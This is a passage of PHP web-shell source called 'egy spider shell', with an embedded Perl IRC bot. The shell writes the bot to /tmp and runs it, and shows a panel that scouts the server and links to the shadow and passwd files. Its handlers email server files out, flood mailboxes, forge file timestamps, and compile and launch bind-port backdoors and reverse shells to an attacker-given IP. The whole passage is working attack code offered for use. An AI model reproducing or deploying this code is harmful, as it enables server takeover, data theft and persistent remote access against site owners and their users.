  return unless $#_ == 0;
  sendraw(\"WHO \$_[0]\");
}
sub names {
  return unless $#_ == 0;
  sendraw(\"NAMES \$_[0]\");
}
sub away {
  sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
  sendraw(\"QUIT :\$_[0]\");
}

# DCC
#########################

package DCC;

sub connections {
   my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
   foreach my \$fh (@ready) {
     my \$dcctipo = \$DCC{\$fh}{tipo};
     my \$arquivo = \$DCC{\$fh}{arquivo};
     my \$bytes = \$DCC{\$fh}{bytes};
     my \$cur_byte = \$DCC{\$fh}{curbyte};
     my \$nick = \$DCC{\$fh}{nick};


     my \$msg;
     my \$nread = sysread(\$fh, \$msg, 10240);

     if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
        \$DCC{\$fh}{status} = \"Cancelado\";
        \$DCC{\$fh}{ftime} = time;
        \$dcc_sel->remove(\$fh);
        \$fh->close;
        next;
     }

     if (\$dcctipo eq \"get\") {
        \$DCC{\$fh}{curbyte} += length(\$msg);

        my \$cur_byte = \$DCC{\$fh}{curbyte};

        open(FILE, \">> \$arquivo\");
        print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
        close(FILE);

        my \$packbyte = pack(\"N\", \$cur_byte);
        print \$fh \"\$packbyte\";


        if (\$bytes == \$cur_byte) {
           \$dcc_sel->remove(\$fh);
           \$fh->close;
           \$DCC{\$fh}{status} = \"Recebido\";
           \$DCC{\$fh}{ftime} = time;
           next;
        }
     } elsif (\$dcctipo eq \"send\") {
          my \$send = \$fh->accept;
          \$send->autoflush(1);
          \$dcc_sel->add(\$send);
          \$dcc_sel->remove(\$fh);
          \$DCC{\$send}{tipo} = 'sendcon';
          \$DCC{\$send}{itime} = time;
          \$DCC{\$send}{nick} = \$nick;
          \$DCC{\$send}{bytes} = \$bytes;
          \$DCC{\$send}{curbyte} = 0;
          \$DCC{\$send}{arquivo} = \$arquivo;
          \$DCC{\$send}{ip} = \$send->peerhost;
          \$DCC{\$send}{porta} = \$send->peerport;
          \$DCC{\$send}{status} = \"Enviando\";
          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
          open(FILE, \"< \$arquivo\");
          my \$fbytes;
          read(FILE, \$fbytes, 1024);
          print \$send \"\$fbytes\";
          close FILE;
# delete(\$DCC{\$fh});
} elsif (\$dcctipo eq 'sendcon') {
          my \$bytes_sended = unpack(\"N\", \$msg);
          \$DCC{\$fh}{curbyte} = \$bytes_sended;
          if (\$bytes_sended == \$bytes) {
             \$fh->close;
             \$dcc_sel->remove(\$fh);
             \$DCC{\$fh}{status} = \"Enviado\";
             \$DCC{\$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, \"< \$arquivo\");
          seek(SENDFILE, \$bytes_sended, 0);
          my \$send_bytes;
          read(SENDFILE, \$send_bytes, 1024);
          print \$fh \"\$send_bytes\";
          close(SENDFILE);
     }
   }
}
##########################

sub SEND {
  my (\$nick, \$arquivo) = @_;
  unless (-r \"\$arquivo\") {
    return(0);
  }

  my \$dccark = \$arquivo;
  \$dccark =~ s/[.*\/](\S+)/$1/;

  my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
  my \$longip = unpack(\"N\",inet_aton(\$meuip));

  my @filestat = stat(\$arquivo);
  my \$size_total=\$filestat[7];
  if (\$size_total == 0) {
     return(0);
  }

  my (\$porta, \$sendsock);
  do {
    \$porta = int rand(64511);
    \$porta += 1024;
    \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
  } until \$sendsock;

  \$DCC{\$sendsock}{tipo} = 'send';
  \$DCC{\$sendsock}{nick} = \$nick;
  \$DCC{\$sendsock}{bytes} = \$size_total;
  \$DCC{\$sendsock}{arquivo} = \$arquivo;

  &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");

}

sub GET {
  my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
  return(0) if (-e \"\$arquivo\");
  if (open(FILE, \"> \$arquivo\")) {
     close FILE;
  } else {
    return(0);
  }

  my \$dccip=fixaddr(\$dcclongip);
  return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
  my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
  \$dccsock->autoflush(1);
  \$dcc_sel->add(\$dccsock);
  \$DCC{\$dccsock}{tipo} = 'get';
  \$DCC{\$dccsock}{itime} = time;
  \$DCC{\$dccsock}{nick} = \$nick;
  \$DCC{\$dccsock}{bytes} = \$bytes;
  \$DCC{\$dccsock}{curbyte} = 0;
  \$DCC{\$dccsock}{arquivo} = \$arquivo;
  \$DCC{\$dccsock}{ip} = \$dccip;
  \$DCC{\$dccsock}{porta} = \$dccporta;
  \$DCC{\$dccsock}{status} = \"Recebendo\";
}
############################
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my \$socket = shift;
  my \$sock_tipo = \$DCC{\$socket}{tipo};
  unless (lc(\$sock_tipo) eq \"chat\") {
    my \$nick = \$DCC{\$socket}{nick};
    my \$arquivo = \$DCC{\$socket}{arquivo};
    my \$itime = \$DCC{\$socket}{itime};
    my \$ftime = time;
    my \$status = \$DCC{\$socket}{status};
    \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});

    my \$d_time = \$ftime-\$itime;

    my \$cur_byte = \$DCC{\$socket}{curbyte};
    my \$bytes_total = \$DCC{\$socket}{bytes};

    my \$rate = 0;
    \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
    my \$porcen = (\$cur_byte*100)/\$bytes_total;

    my (\$r_duv, \$p_duv);
    if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       \$r_duv = $3; \$r_duv++ if $4 >= 5;
       \$rate = \"$1\.$2\".\"\$r_duv\";
    }
    if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       \$p_duv = $3; \$p_duv++ if $4 >= 5;
       \$porcen = \"$1\.$2\".\"\$p_duv\";
    }
    return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
  }

  return(0);
}

# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
    my (\$address) = @_;

    chomp \$address; # just in case, sigh.
    if (\$address =~ /^\d+$/) {
        return inet_ntoa(pack \"N\", \$address);
    } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return \$address;
    } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname(\$address))[4])[0]);
    } else {
        return;
    }
}
############################
"; $bot = "/tmp/ircs.pl"; $open = fopen($bot,"w"); fputs($open,$file); fclose($open); $cmd="perl $bot"; $cmd2="rm $bot"; system($cmd); system($cmd2); $_POST['cmd']="echo \"Now script try connect to ircserver ...\""; } if(!isset($_COOKIE[$lang[$language.'_text137']])) { $ust_u=''; if($unix && !$safe_mode){ foreach ($userful as $item) { if(which($item)){$ust_u.=$item;} } } if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";} if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";} if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";} if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";} if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";} if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";} if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";} if(substr($ust_u,0,1)==",") {$ust_u[0]="";} $ust_u = trim($ust_u); }else { $ust_u = trim($_COOKIE[$lang[$language.'_text137']]); } if(!isset($_COOKIE[$lang[$language.'_text138']])) { $ust_d=''; if($unix && !$safe_mode){ foreach ($danger as $item) { if(which($item)){$ust_d.=$item;} } } if(!$safe_mode){ foreach ($danger as $item) { if(ps($item)){$ust_d.=$item;} } } if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";} if(substr($ust_d,0,1)==",") {$ust_d[0]="";} $ust_d = trim($ust_d); }else { $ust_d = trim($_COOKIE[$lang[$language.'_text138']]); } if(!isset($_COOKIE[$lang[$language.'_text142']])) { $select_downloaders='<select size="1" name=with>'; if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";} if($unix && !$safe_mode){ foreach ($downloaders as $item) { if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";} } } $select_downloaders .= '</select>'; if(substr($downloader,0,1)==",") {$downloader[0]="";} $downloader=trim($downloader); } echo $head; echo '</head>'; echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN
style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
<SPAN
style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'. '</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>'; echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]"; echo "<br>"; echo ws(2)."PHP Version: <b>".@phpversion()."</b>"; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); echo "</b>".ws(2); echo "MySQL: <b>"; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; } echo "</b>".ws(2); echo "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b>".ws(2); echo "PostgreSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b>".ws(2); echo "Oracle: <b>"; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b>".ws(2); echo "MySQLi: <b>"; $mysqli_on = @function_exists('mysqli_connect'); if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b>".ws(2); echo "MSQL: <b>"; $msql_on = @function_exists('msql_connect'); if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b>".ws(2); echo "SQLite: <b>"; $sqlite_on = @function_exists('sqlite_open'); if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} echo "</b><br>".ws(2); echo "Safe_Mode: <b>"; echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); echo "</b>".ws(2); echo "Open_Basedir: <b>"; if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};} else {echo "<font color=green>NONE</font></b>";} echo ws(2)."Safe_Exec_Dir: <b>"; if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo ws(2)."Safe_Gid: <b>"; if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo ws(2)."Safe_Include_Dir: <b>"; if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo ws(2)."Sql.safe_mode: <b>"; if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo "<br>".ws(2); echo "Disable Functions : <b>";$df='ini_get  disable!'; if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);} elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';} if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>"; if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";}; if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";}; if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";}; echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb; if(!$unix) { echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb; }else{ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb; } echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb; if($unix && !$safe_mode) { echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb; echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb; } echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>'; echo $font; if($unix){ echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); echo ws(3).ex('echo $OSTYPE')."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; if(!empty($id)) { echo ws(3).$id."<br>"; } else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) { $euserinfo = @posix_getpwuid(@posix_geteuid()); $egroupinfo = @posix_getgrgid(@posix_getegid()); echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; } else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; echo ws(3).$dir; echo ws(3).'( '.perms(@fileperms($dir)).' )'; echo "</b></font>"; } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; echo ws(3).@substr(@php_uname(),0,120)."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; echo ws(3).@getenv("USERNAME")."<br>"; echo ws(3).$dir; echo "<br></font>"; } echo "</font>"; echo "</td></tr></table>"; if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); err(6+$res); $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) { if($file=moreread($_POST['loc_file'])){ $filedump = $file; } else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; } if(!empty($_POST['cmd'])) { $filename = @basename($_POST['loc_file']); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); $attach = array( "name"=>$filename, "type"=>$mime_type, "content"=>$filedump ); if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; } if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; } $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); err(6+$res); $_POST['cmd']=""; } } if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) { for($h=1;$h<=$_POST['mail_flood'];$h++){ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n"); } err(6+$res); $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break; } $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } else { $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; } } else if($_POST['action'] == "delete") { if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(@mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; } else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } } else if($_POST['action'] == "delete"){ if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; } } if(!empty($_POST['cmd']) && $_POST['cmd']=="touch") { if(!$_POST['file_name_r']) { $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; $datar = @strtotime($datar); @touch($_POST['file_name'],$datar,$datar);} else{ @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); } $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) { if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; } elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; } elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };} else { err(1,$_POST['e_name']); $_POST['cmd']=""; } if(!empty($_POST['cmd'])) { echo $table_up3; echo $font; echo "<form name=save_file method=post>"; echo ws(3)."<b>".$_POST['e_name']."</b>"; echo "<div align=center><textarea name=e_text cols=121 rows=24>"; echo @htmlspecialchars($filedump); echo "</textarea>"; echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>"; echo "<input type=hidden name=dir value='".$dir."'>"; echo "<input type=hidden name=cmd value=save_file>"; echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); echo "</div>"; echo "</font>"; echo "</form>"; echo "</td></tr></table>"; exit(); } } if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") { $mtime = @filemtime($_POST['e_name']); if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); } else { if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); morewrite($_POST['e_name'],$_POST['e_text']); $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; } @touch($_POST['e_name'],$mtime,$mtime); } if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) { cf($tempdir.'prxpl',$prx_pl); $p2=which("perl"); $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &'); @unlink($tempdir.'prxpl'); $_POST['cmd']="ps -aux | grep prxpl"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf($tempdir.'bd.c',$port_bind_bd_c); $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c'); @unlink($tempdir.'bd.c'); $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &'); @unlink($tempdir.'bd'); $_POST['cmd']="ps -aux | grep bd"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf($tempdir.'bdpl',$port_bind_bd_pl); $p2=which("perl"); $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &'); @unlink($tempdir.'bdpl'); $_POST['cmd']="ps -aux | grep bdpl"; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) { cf($tempdir.'back',$back_connect); $p2=which("perl"); $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &'); @unlink($tempdir.'back'); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) { cf($tempdir.'back.c',$back_connect_c); $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c'); @unlink($tempdir.'back.c'); $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &'); @unlink($tempdir.'back'); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) { cf($tempdir.'dp',$datapipe_pl); $p2=which("perl"); $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &'); 